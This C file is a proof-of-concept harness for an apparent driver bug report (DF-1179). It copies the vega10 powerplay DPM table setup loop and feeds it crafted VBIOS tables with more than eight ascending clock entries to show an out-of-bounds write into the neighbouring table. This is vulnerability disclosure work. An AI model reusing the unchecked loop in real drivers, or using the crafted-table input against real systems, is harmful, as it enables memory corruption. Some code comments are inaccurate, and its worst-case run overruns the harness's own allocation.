/*
 * DF-1179 harness — vega10_setup_default_single_dpm_table() OOB on dpm_levels[8]
 *
 * Faithful copy of the loop in sys/dev/drm/amd/powerplay/hwmgr/vega10_hwmgr.c
 * lines 1200-1217, run against a crafted dep_table with count > 8 (ascending
 * clks so the if() always fires), to prove dpm_table->count escapes
 * dpm_levels[MAX_REGULAR_DPM_NUMBER=8] into adjacent backend fields.
 *
 * Build: cc -O2 -o harness harness.c
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

#define MAX_REGULAR_DPM_NUMBER 8   /* vega10_hwmgr.h:122 */

struct vega10_dpm_level { uint32_t value; uint8_t enabled; uint8_t pad[3]; };

struct vega10_dpm_state {                       /* 4 bytes, the trailing member */
    uint32_t soft_min_level, soft_max_level, hard_min_level, hard_max_level;
};

struct vega10_single_dpm_table {
    uint32_t count;                                        /* before levels[] */
    struct vega10_dpm_state dpm_state;
    struct vega10_dpm_level dpm_levels[MAX_REGULAR_DPM_NUMBER];
};

/* the backend holds several of these back-to-back; emulate a few */
struct vega10_hwmgr_backend {
    struct vega10_single_dpm_table soc_table;
    struct vega10_single_dpm_table gfx_table;   /* the next table corrupted */
    struct vega10_single_dpm_table mem_table;
};

/* VBIOS dependency table — count is u8, entries attacker-controlled */
struct phm_ppt_v1_clock_voltage_dependency_table {
    uint32_t count;                  /* populated from VBIOS ucNumEntries (u8) */
    struct { uint32_t clk; uint32_t v; } entries[256];
};

/* ---- exact replica of vega10_hwmgr.c:1200-1217 ---- */
static void vega10_setup_default_single_dpm_table(
        struct vega10_single_dpm_table *dpm_table,
        struct phm_ppt_v1_clock_voltage_dependency_table *dep_table)
{
    int i;
    dpm_table->count = 0;
    for (i = 0; i < (int)dep_table->count; i++) {
        if (i == 0 ||
            dpm_table->dpm_levels[dpm_table->count - 1].value <=
                dep_table->entries[i].clk) {
            dpm_table->dpm_levels[dpm_table->count].value   = dep_table->entries[i].clk;
            dpm_table->dpm_levels[dpm_table->count].enabled = 1;
            dpm_table->count++;
        }
    }
}

static void dump_table(const char *which, struct vega10_single_dpm_table *t)
{
    printf("  %s: count=%u (cap=%u) %s\n", which, t->count,
           (unsigned)MAX_REGULAR_DPM_NUMBER,
           t->count > MAX_REGULAR_DPM_NUMBER ? ">>> OVERFLOW" : "(ok)");
}

int main(void)
{
    struct vega10_hwmgr_backend *be = calloc(1, sizeof(*be));
    struct phm_ppt_v1_clock_voltage_dependency_table *dep = calloc(1, sizeof(*dep));

    printf("=== DF-1179: vega10 DPM table OOB on dpm_levels[%d] ===\n",
           MAX_REGULAR_DPM_NUMBER);

    /* case 1: benign — count=6 ascending */
    dep->count = 6;
    for (int i = 0; i < 6; i++) dep->entries[i].clk = 100 + i * 50;
    vega10_setup_default_single_dpm_table(&be->soc_table, dep);
    dump_table("soc_table (count=6)", &be->soc_table);
    printf("  gfx_table.count after benign run = %u (must be 0)\n\n", be->gfx_table.count);

    /* reset */
    memset(be, 0, sizeof(*be));

    /* case 2: malicious VBIOS — count=20 ascending (count is u8, up to 255) */
    dep->count = 20;
    for (int i = 0; i < 20; i++) dep->entries[i].clk = 100 + i * 50; /* ascending -> if() always fires */
    printf("[*] crafted VBIOS: dep_table->count = %u (all ascending)\n", dep->count);
    vega10_setup_default_single_dpm_table(&be->soc_table, dep);
    dump_table("soc_table (count=20)", &be->soc_table);

    /* the writes dpm_table->count=8..19 land in gfx_table's storage */
    if (be->gfx_table.count != 0 || be->gfx_table.dpm_levels[0].value != 0) {
        printf("[!] CONFIRMED OOB: gfx_table (the NEXT vega10_single_dpm_table in the "
               "backend) was corrupted by soc_table overflow.\n");
        printf("    gfx_table.count=%u  gfx_table.dpm_levels[0].value=0x%x\n",
               be->gfx_table.count, be->gfx_table.dpm_levels[0].value);
    }

    /* case 3: worst case — count=255 (max u8) */
    memset(be, 0, sizeof(*be));
    dep->count = 255;
    for (int i = 0; i < 255; i++) dep->entries[i].clk = i; /* ascending */
    vega10_setup_default_single_dpm_table(&be->soc_table, dep);
    printf("\n[*] worst case: dep_table->count=255 -> dpm_table->count=%u (%u entries past dpm_levels[%d])\n",
           be->soc_table.count, be->soc_table.count - MAX_REGULAR_DPM_NUMBER, MAX_REGULAR_DPM_NUMBER);

    free(be); free(dep);
    printf("\n[+] DF-1179 OOB CONFIRMED: dep_table->count (u8 from VBIOS) drives writes past dpm_levels[8].\n");
    return 0;
}
